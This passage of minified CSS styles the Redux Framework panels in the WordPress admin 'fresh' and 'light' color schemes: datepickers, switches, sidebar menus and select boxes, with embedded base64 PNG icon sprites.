E1gqQDMT3G6xI9pwdw/aIgKoHCS1YGlRnSq9yCjdXjgN3j+N27YyROHxmuNAeNKPpYuXIyIyMjYy0M8eros59MF/PT2c602T7eA7zvhJ9dr/vzDjXaLp4Yc5+0wllzxzHv3gdmMMM7/CcQzKgVBqYTmFn+Z+mKm8J7k0A5F/jgCfjQ1WBhQyiOqD0lYuqBb+AyzMw9Ha2G3m6c8qQx+AlqnIceQp+Sb6i9UyQWbhr54+AjnZ0VzW2TAN0DmBT6PWmc6jDBE2PK2u+nF43dyP7Q0t1pOcX2fdRvH0mF2Q4JqN35rnHjVIeaXfIAVyUuw/aHCCiJy9iF5l1621zweI8KZrPZ9iJdb7DXJ3US0OSrtZ10imt7wHY7QesAzUMz1oZ3noB3qFJ/H18j97FYuw8QDN4oeKf30osvcSW2ExLo+VcbuAuo/sUIm8fMG9xocO3Ea19J9gFYivnHJ2KnyfovZlgW3v6ySx32abQiIyMjIyPjhlFDTLxpwIgFMnTp6A3g4IDKNY+stkwAMAoIAbasxBXqUWneSAWTMjt50lTqT29rFjvXohjsDNm2YPXDFlICmrJOZ3t6tHm8AiEAl0sCeLIIorIRt+cFbew/QRsoAXb4o1XSfoywzm0FTMAoYBNvLyFu8v8HpLBtD1iKgC17wHb7AI6d9wFbvguAIGTHd4E9wG7jgIyMjIyM+434c2R3HeV/Ffx6jtZu6ijl8h59T655jhR+rdHzDOP6beABCheb8O8/WFXeOyzgf5oAhVYnKxP7CwaAf1afJu8bSrhS6tdaXeGnrRenOqOlz9d6QwYnA/3TLd+GE7qe3chA5YF5DfY0vK3adfOX/gyNp2BW25MHdxAB9qvRiiP3/XpQQFGYDU4+Mi///XumXG8pjvaUAOsBGlf4jJt+YYEzeEzAdw06F19R3juM7D1wita86GR0CKfDHgLuXCc4Bri6vMLdfjMc4VNSUNsdodo2xu/1+Xl/K5+az8jIyMhYG/z5gJTMF1GtKq/a3rpyCvz5gJTMl9GtKq/a3rpyCmfQ4WwZmS+kXFVetb115ST48wEf/AGcfG1iw+tWbpbS2vJ3nQxcVr3lH3z5h972FUTLzYpOVk7l5hD+eYcYwDcAnewOotrZ4OtrPDucqi/LRX0/RR4qx7Nn4U8g+qjffvuN6Gf+nC85vwauHjaYyubqvWYKY4VEfSUMitdnBCT1Ue63R5439m+OgCn6DroAAaHPVQxKth/wkJgHmG8bmQMsT0D6EjDfvhVRKO3ywOQUgRA7nmL1uawZmHf1k+DPBwQ6NdcJ+k6Md1LA5f5ONdhJ8vZ5J0vLHT99srkGOjmJbd/G1r2Nriqnse1AZt1AalU5jW2HsuuG0qvKGRkZGRkZGRG0gcONyXsP9v8D0/IdJADiBNiXl3327WRGgOL/9HC/0XwlIURkRhC4tz6Z/fu7fUf2gHvfB9z3u0BGRkZGRkbGplHcnkgguQoSqtUXuhbs/wPtMwqV0HUJAvj5vk32b8IDuL23yn7qAXZ5u32hbRX7d3o82Df1FZXvbh9QOfhyxldr/+3xgXU9oKmvsHyr7F/XA269/eveBXrsv7N9QALe/tvjA0kPWAXGbvebkbHn+D/J5nMcHzx1UAAAAABJRU5ErkJggg==) !important}.admin-color-fresh .ui-datepicker-header,.wp-customizer .ui-datepicker-header{background-color:#23282d !important;color:white !important}.admin-color-fresh .ui-datepicker td .ui-state-active,.wp-customizer .ui-datepicker td .ui-state-active{background-color:#007db9 !important;color:white !important}.admin-color-fresh .ui-datepicker td .ui-state-hover,.wp-customizer .ui-datepicker td .ui-state-hover{color:#007db9 !important}.admin-color-fresh .ui-datepicker td .ui-state-highlight,.wp-customizer .ui-datepicker td .ui-state-highlight{background:#0073aa !important;border:1px solid #23282d !important;color:white !important}.admin-color-fresh .redux-container-switch .cb-disable,.admin-color-fresh .redux-container-switch .cb-enable,.admin-color-fresh .ui-state-default,.admin-color-fresh .ui-widget-content .ui-state-default,.admin-color-fresh .ui-widget-header .ui-state-default,.wp-customizer .redux-container-switch .cb-disable,.wp-customizer .redux-container-switch .cb-enable,.wp-customizer .ui-state-default,.wp-customizer .ui-widget-content .ui-state-default,.wp-customizer .ui-widget-header .ui-state-default{background-color:#f5f5f5 !important;background-image:-khtml-gradient(linear, left top, left bottom, from(#f8f8f8), to(#f5f5f5)) !important;background-image:-moz-linear-gradient(top, #f8f8f8, #f5f5f5) !important;background-image:-ms-linear-gradient(top, #f8f8f8, #f5f5f5) !important;background-image:-webkit-gradient(linear, left top, left bottom, color-stop(0%, #f8f8f8), color-stop(100%, #f5f5f5)) !important;background-image:-webkit-linear-gradient(top, #f8f8f8, #f5f5f5) !important;background-image:-o-linear-gradient(top, #f8f8f8, #f5f5f5) !important;background-image:-linear-gradient(top, #f8f8f8, #f5f5f5) !important;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#f8f8f8', endColorstr='#f5f5f5', GradientType=0) !important;border-color:#ccc !important}.admin-color-fresh .ui-datepicker td .ui-state-active,.wp-customizer .ui-datepicker td .ui-state-active{color:black !important;font-weight:700 !important;background:white !important}.admin-color-fresh .redux-container-switch .cb-disable.selected,.wp-customizer .redux-container-switch .cb-disable.selected{background-color:#646464 !important;background-image:-khtml-gradient(linear, left top, left bottom, from(#929292), to(#646464)) !important;background-image:-moz-linear-gradient(top, #929292, #646464) !important;background-image:-ms-linear-gradient(top, #929292, #646464) !important;background-image:-webkit-gradient(linear, left top, left bottom, color-stop(0%, #929292), color-stop(100%, #646464)) !important;background-image:-webkit-linear-gradient(top, #929292, #646464) !important;background-image:-o-linear-gradient(top, #929292, #646464) !important;background-image:-linear-gradient(top, #929292, #646464) !important;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#929292', endColorstr='#646464', GradientType=0) !important;border-color:#767676 !important}.admin-color-fresh .redux-container-switch .cb-enable.selected,.admin-color-fresh .redux-field-container .ui-buttonset .ui-state-active,.wp-customizer .redux-container-switch .cb-enable.selected,.wp-customizer .redux-field-container .ui-buttonset .ui-state-active{background-color:#0073aa !important;background-image:-khtml-gradient(linear, left top, left bottom, from(#008bce), to(#0073aa)) !important;background-image:-moz-linear-gradient(top, #008bce, #0073aa) !important;background-image:-ms-linear-gradient(top, #008bce, #0073aa) !important;background-image:-webkit-gradient(linear, left top, left bottom, color-stop(0%, #008bce), color-stop(100%, #0073aa)) !important;background-image:-webkit-linear-gradient(top, #008bce, #0073aa) !important;background-image:-o-linear-gradient(top, #008bce, #0073aa) !important;background-image:-linear-gradient(top, #008bce, #0073aa) !important;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#008bce', endColorstr='#0073aa', GradientType=0) !important;border-color:#003f5e !important;border-color:#005177 !important;-webkit-box-shadow:inset 0 1px 0 #00a7f7,0 1px 0 rgba(0,0,0,0.15) !important;box-shadow:inset 0 1px 0 #00a7f7,0 1px 0 rgba(0,0,0,0.15) !important}.admin-color-fresh #redux-header,.wp-customizer #redux-header{background:#23282d;border-color:#0073aa}.admin-color-fresh #redux-header .display_header span,.wp-customizer #redux-header .display_header span{color:#a0a5aa}.admin-color-fresh .redux-sidebar .redux-group-menu li.active.hasSubSections a,.wp-customizer .redux-sidebar .redux-group-menu li.active.hasSubSections a{position:relative}.admin-color-fresh .redux-sidebar .redux-group-menu li.active.hasSubSections a:after,.wp-customizer .redux-sidebar .redux-group-menu li.active.hasSubSections a:after{right:0;border:solid 8px transparent;content:"\0020";height:0;width:0;position:absolute;pointer-events:none;border-right-color:#fff;top:50%;margin-top:-8px}.admin-color-fresh .redux-sidebar .redux-group-menu li.active.hasSubSections ul.subsection li a:after,.wp-customizer .redux-sidebar .redux-group-menu li.active.hasSubSections ul.subsection li a:after{border:0 none !important;content:"\0020" !important}.admin-color-fresh .redux-sidebar .redux-group-menu li.hasSubSections .redux-menu-error,.wp-customizer .redux-sidebar .redux-group-menu li.hasSubSections .redux-menu-error{display:none;margin-right:5px}.admin-color-fresh .redux-sidebar .redux-group-menu li.hasSubSections a.hasError .extraIconSubsections,.wp-customizer .redux-sidebar .redux-group-menu li.hasSubSections a.hasError .extraIconSubsections{background-color:#b94a48;color:#f2dede}.admin-color-fresh .redux-sidebar .redux-group-menu li.hasSubSections a .extraIconSubsections,.wp-customizer .redux-sidebar .redux-group-menu li.hasSubSections a .extraIconSubsections{border-radius:10px;-moz-border-radius:10px;-webkit-border-radius:10px;border:0 solid transparent;font-size:9px;height:9px;line-height:9px;margin-right:5px;padding:6px 7px 4px 7px;width:5px}.admin-color-fresh .redux-sidebar .redux-group-menu li.active a .extraIconSubsections,.admin-color-fresh .redux-sidebar .redux-group-menu li.activeChild a .extraIconSubsections,.wp-customizer .redux-sidebar .redux-group-menu li.active a .extraIconSubsections,.wp-customizer .redux-sidebar .redux-group-menu li.activeChild a .extraIconSubsections{display:none}.admin-color-fresh .redux-sidebar .redux-group-menu li.active.hasSubSections .redux-menu-error,.admin-color-fresh .redux-sidebar .redux-group-menu li.activeChild.hasSubSections .redux-menu-error,.wp-customizer .redux-sidebar .redux-group-menu li.active.hasSubSections .redux-menu-error,.wp-customizer .redux-sidebar .redux-group-menu li.activeChild.hasSubSections .redux-menu-error{display:block}.admin-color-fresh .redux-sidebar .redux-group-menu li.active.hasSubSections .subsection .redux-menu-error,.admin-color-fresh .redux-sidebar .redux-group-menu li.activeChild.hasSubSections .subsection .redux-menu-error,.wp-customizer .redux-sidebar .redux-group-menu li.active.hasSubSections .subsection .redux-menu-error,.wp-customizer .redux-sidebar .redux-group-menu li.activeChild.hasSubSections .subsection .redux-menu-error{margin-right:2px}.admin-color-fresh .redux-sidebar .redux-group-menu li.active,.admin-color-fresh .redux-sidebar .redux-group-menu li.activeChild,.wp-customizer .redux-sidebar .redux-group-menu li.active,.wp-customizer .redux-sidebar .redux-group-menu li.activeChild{border-left:0 none}.admin-color-fresh .redux-sidebar .redux-group-menu li.active a,.admin-color-fresh .redux-sidebar .redux-group-menu li.activeChild a,.wp-customizer .redux-sidebar .redux-group-menu li.active a,.wp-customizer .redux-sidebar .redux-group-menu li.activeChild a{color:#23282d}.admin-color-fresh .redux-sidebar .redux-group-menu li.active.hasSubSections .active a:after,.admin-color-fresh .redux-sidebar .redux-group-menu li.activeChild.hasSubSections .active a:after,.wp-customizer .redux-sidebar .redux-group-menu li.active.hasSubSections .active a:after,.wp-customizer .redux-sidebar .redux-group-menu li.activeChild.hasSubSections .active a:after{right:0;border:solid 8px transparent;content:"\0020";height:0;width:0;position:absolute;pointer-events:none;border-right-color:#fff;top:50%;margin-top:-8px}.admin-color-fresh .redux-sidebar .redux-group-menu li.active.hasSubSections a,.admin-color-fresh .redux-sidebar .redux-group-menu li.activeChild.hasSubSections a,.wp-customizer .redux-sidebar .redux-group-menu li.active.hasSubSections a,.wp-customizer .redux-sidebar .redux-group-menu li.activeChild.hasSubSections a{-webkit-transition:all 0.2s;-moz-transition:all 0.2s;transition:all 0.2s;color:#fff;width:auto;border-bottom:0}.admin-color-fresh .redux-sidebar .redux-group-menu li.active.hasSubSections ul.subsection li,.admin-color-fresh .redux-sidebar .redux-group-menu li.activeChild.hasSubSections ul.subsection li,.wp-customizer .redux-sidebar .redux-group-menu li.active.hasSubSections ul.subsection li,.wp-customizer .redux-sidebar .redux-group-menu li.activeChild.hasSubSections ul.subsection li{border-top:0 none !important}.admin-color-fresh .redux-sidebar .redux-group-menu li.active.hasSubSections ul.subsection li.active a:hover,.admin-color-fresh .redux-sidebar .redux-group-menu li.activeChild.hasSubSections ul.subsection li.active a:hover,.wp-customizer .redux-sidebar .redux-group-menu li.active.hasSubSections ul.subsection li.active a:hover,.wp-customizer .redux-sidebar .redux-group-menu li.activeChild.hasSubSections ul.subsection li.active a:hover{color:#fff}.admin-color-fresh .redux-sidebar .redux-group-menu li.active.hasSubSections ul.subsection li a,.admin-color-fresh .redux-sidebar .redux-group-menu li.activeChild.hasSubSections ul.subsection li a,.wp-customizer .redux-sidebar .redux-group-menu li.active.hasSubSections ul.subsection li a,.wp-customizer .redux-sidebar .redux-group-menu li.activeChild.hasSubSections ul.subsection li a{width:auto;border-top:0 !important;padding:7px;color:#fff;padding-left:15px;-webkit-transition:all 0.2;-moz-transition:all 0.2;-ms-transition:all 0.2;-o-transition:all 0.2;transition:all 0.2}.admin-color-fresh .redux-sidebar .redux-group-menu li.active.hasSubSections ul.subsection li a:hover,.admin-color-fresh .redux-sidebar .redux-group-menu li.activeChild.hasSubSections ul.subsection li a:hover,.wp-customizer .redux-sidebar .redux-group-menu li.active.hasSubSections ul.subsection li a:hover,.wp-customizer .redux-sidebar .redux-group-menu li.activeChild.hasSubSections ul.subsection li a:hover{color:#1e8cbe;background:#0d0f10}.admin-color-fresh .redux-sidebar .redux-group-menu li.active.hasSubSections ul.subsection li a span.group_title,.admin-color-fresh .redux-sidebar .redux-group-menu li.activeChild.hasSubSections ul.subsection li a span.group_title,.wp-customizer .redux-sidebar .redux-group-menu li.active.hasSubSections ul.subsection li a span.group_title,.wp-customizer .redux-sidebar .redux-group-menu li.activeChild.hasSubSections ul.subsection li a span.group_title{padding-left:5px !important}.admin-color-fresh .redux-sidebar .redux-group-menu li.active.hasSubSections ul.subsection li.hasIcon a,.admin-color-fresh .redux-sidebar .redux-group-menu li.activeChild.hasSubSections ul.subsection li.hasIcon a,.wp-customizer .redux-sidebar .redux-group-menu li.active.hasSubSections ul.subsection li.hasIcon a,.wp-customizer .redux-sidebar .redux-group-menu li.activeChild.hasSubSections ul.subsection li.hasIcon a{padding-left:14px}.admin-color-fresh .redux-sidebar .redux-group-menu li.active.hasSubSections ul.subsection li.hasIcon a span.group_title,.admin-color-fresh .redux-sidebar .redux-group-menu li.activeChild.hasSubSections ul.subsection li.hasIcon a span.group_title,.wp-customizer .redux-sidebar .redux-group-menu li.active.hasSubSections ul.subsection li.hasIcon a span.group_title,.wp-customizer .redux-sidebar .redux-group-menu li.activeChild.hasSubSections ul.subsection li.hasIcon a span.group_title{padding-left:30px !important}.admin-color-fresh .redux-sidebar .redux-group-menu li.active.hasSubSections a,.wp-customizer .redux-sidebar .redux-group-menu li.active.hasSubSections a{background:#0073aa}.admin-color-fresh .redux-sidebar .redux-group-menu li.active.hasSubSections ul.subsection li a,.wp-customizer .redux-sidebar .redux-group-menu li.active.hasSubSections ul.subsection li a{background:#23282d}.admin-color-fresh .redux-sidebar .redux-group-menu li.activeChild.hasSubSections a,.wp-customizer .redux-sidebar .redux-group-menu li.activeChild.hasSubSections a{background:#a0a5aa;text-shadow:1px 1px #54595d}.admin-color-fresh .redux-sidebar .redux-group-menu li.activeChild.hasSubSections ul.subsection li a,.wp-customizer .redux-sidebar .redux-group-menu li.activeChild.hasSubSections ul.subsection li a{background:#23282d;text-shadow:none}.admin-color-fresh .redux-sidebar .redux-group-menu li.activeChild.hasSubSections ul.subsection li.active a,.wp-customizer .redux-sidebar .redux-group-menu li.activeChild.hasSubSections ul.subsection li.active a{background:#0073aa;text-shadow:1px 1px #002e44}.admin-color-fresh .redux-container-image_select .redux-image-select-selected img,.wp-customizer .redux-container-image_select .redux-image-select-selected img{border-color:#0073aa}.admin-color-fresh .redux-container-image_select .redux-image-select-selected .tiles,.wp-customizer .redux-container-image_select .redux-image-select-selected .tiles{border-color:#0073aa}.admin-color-fresh #redux-footer #redux-share a,.wp-customizer #redux-footer #redux-share a{color:#0073aa}.admin-color-fresh #redux-footer #redux-share a:hover,.wp-customizer #redux-footer #redux-share a:hover{color:#002e44}.admin-color-fresh .select2-results .select2-highlighted,.wp-customizer .select2-results .select2-highlighted{background:#0073aa}.admin-color-fresh .select2-drop-active,.admin-color-fresh .select2-container-multi.select2-container-active .select2-choices,.admin-color-fresh .select2-drop.select2-drop-above.select2-drop-active,.admin-color-fresh .select2-container-active .select2-choice,.admin-color-fresh .select2-container-active .select2-choices,.admin-color-fresh .select2-dropdown-open.select2-drop-above .select2-choice,.admin-color-fresh .select2-dropdown-open.select2-drop-above .select2-choices,.wp-customizer .select2-drop-active,.wp-customizer .select2-container-multi.select2-container-active .select2-choices,.wp-customizer .select2-drop.select2-drop-above.select2-drop-active,.wp-customizer .select2-container-active .select2-choice,.wp-customizer .select2-container-active .select2-choices,.wp-customizer .select2-dropdown-open.select2-drop-above .select2-choice,.wp-customizer .select2-dropdown-open.select2-drop-above .select2-choices{border-color:#0073aa}.admin-color-fresh .select2-dropdown-open.select2-drop-above .select2-choice,.admin-color-fresh .select2-dropdown-open.select2-drop-above .select2-choices,.wp-customizer .select2-dropdown-open.select2-drop-above .select2-choice,.wp-customizer .select2-dropdown-open.select2-drop-above .select2-choices{border-top:inherit}.admin-color-fresh .noUi-connect,.wp-customizer .noUi-connect{background-color:#007db9 !important;background-image:-khtml-gradient(linear, left top, left bottom, from(#0096dd), to(#007db9)) !important;background-image:-moz-linear-gradient(top, #0096dd, #007db9) !important;background-image:-ms-linear-gradient(top, #0096dd, #007db9) !important;background-image:-webkit-gradient(linear, left top, left bottom, color-stop(0%, #0096dd), color-stop(100%, #007db9)) !important;background-image:-webkit-linear-gradient(top, #0096dd, #007db9) !important;background-image:-o-linear-gradient(top, #0096dd, #007db9) !important;background-image:-linear-gradient(top, #0096dd, #007db9) !important;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#0096dd', endColorstr='#007db9', GradientType=0) !important}.admin-color-light .button.ui-datepicker-current,.admin-color-light button.ui-datepicker-close{background-color:#04b0db !important}.admin-color-light .ui-datepicker-buttonpane button.ui-datepicker-current{background:#0384a4 !important;color:white !important;border:1px solid #013340 !important}.admin-color-light .ui-datepicker-header .ui-icon{background-image:url(data:image/png;base64,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) !important}.admin-color-light .ui-datepicker-header{background-color:#888 !important;color:white !important}.admin-color-light .ui-datepicker td .ui-state-active{background-color:#04b0db !important;color:white !important}.admin-color-light .ui-datepicker td .ui-state-hover{color:#04b0db !important}.admin-color-light .ui-datepicker td .ui-state-highlight{background:#04a4cc !important;border:1px solid #888 !important;color:white !important}.admin-color-light .redux-container-switch .cb-disable,.admin-color-light .redux-container-switch .cb-enable,.admin-color-light .ui-state-default,.admin-color-light .ui-widget-content .ui-state-default,.admin-color-light .ui-widget-header .ui-state-default{background-color:#f5f5f5 !important;background-image:-khtml-gradient(linear, left top, left bottom, from(#f8f8f8), to(#f5f5f5)) !important;background-image:-moz-linear-gradient(top, #f8f8f8, #f5f5f5) !important;background-image:-ms-linear-gradient(top, #f8f8f8, #f5f5f5) !important;background-image:-webkit-gradient(linear, left top, left bottom, color-stop(0%, #f8f8f8), color-stop(100%, #f5f5f5)) !important;background-image:-webkit-linear-gradient(top, #f8f8f8, #f5f5f5) !important;background-image:-o-linear-gradient(top, #f8f8f8, #f5f5f5) !important;background-image:-linear-gradient(top, #f8f8f8, #f5f5f5) !important;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#f8f8f8', 